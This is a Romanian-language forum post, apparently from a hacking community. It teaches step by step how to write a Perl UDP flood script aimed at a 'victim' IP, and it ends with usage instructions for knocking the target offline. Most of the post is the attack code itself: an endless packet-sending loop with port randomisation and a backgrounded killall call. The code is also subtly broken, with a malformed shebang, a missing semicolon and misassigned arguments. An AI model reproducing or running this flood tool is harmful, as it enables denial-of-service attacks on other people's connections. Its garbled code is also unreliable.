Sign in to follow this  
Followers 0
Թ1Տօ1ɑՏ

Creere arhiva

1 post in this topic

In acest tutorial am sa va invat cum sa creeati o mica arhiva (doar linux)

Pasul 1: Definim locatia

#! usr/bin/perl

Apoi vom defini socketul

use Socket

$ARGC=@ARGV

In urmatorul cod, vom face arhiva sa isi seteze destinatia pe ip-ul si portul specificat cat si adaugarea timpului si numarul de pachete trimise 

my ($ip, $port, $size, $time) ;

Acum vom adauga un verificator:


if ($ARGC !=1) {
printf "^[[0;31m* ^[[0;32m#> Comanda este perl h4e ^[[0;31m$0 <IP> ^[[0;31m*^[[0m\n";
exit(1);
}

In urmatoarele linii va voi arata modul in care se valideaza ip-ul victimei: 



$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton ("$ip");
 

Urmatoarea linie contine printurile:

printf "[0;32m###############################################################################\n";
printf "[0;31m# IP-ul mai are maxim 5 secunde de conexiune pana se face update-ul pe stalp. #\n";
printf "[0;32m###############################################################################\n";
printf "[0;31m# Arhiva UDP FLooD by [H4E] SiLe CyBeR. #              YouTube.com/silviusile #\n";
printf "[0;32m###############################################################################\n";
printf "[0;31m# Apasa simultan [CLTR + C] pentru a scoate IP-ul din spital.                 #\n";
printf "[0;32m###############################################################################\n";

La final adaugam modul in care ip-ul face nani:


if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 8, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 99500) +0;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Cam acesta a fost un mod simplu de creere a unei arhive, o sa revin cu unele mai complexe.

ATENTIE: Pentru flood este necesara o viteza de internet mai mare ca a victimei (upload mai mare) daca nu aveti asta arhiva e inutila.

Folosire:

perl h4e ip_victima port timp marime

Enter si victima face nani.

 

 

 

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0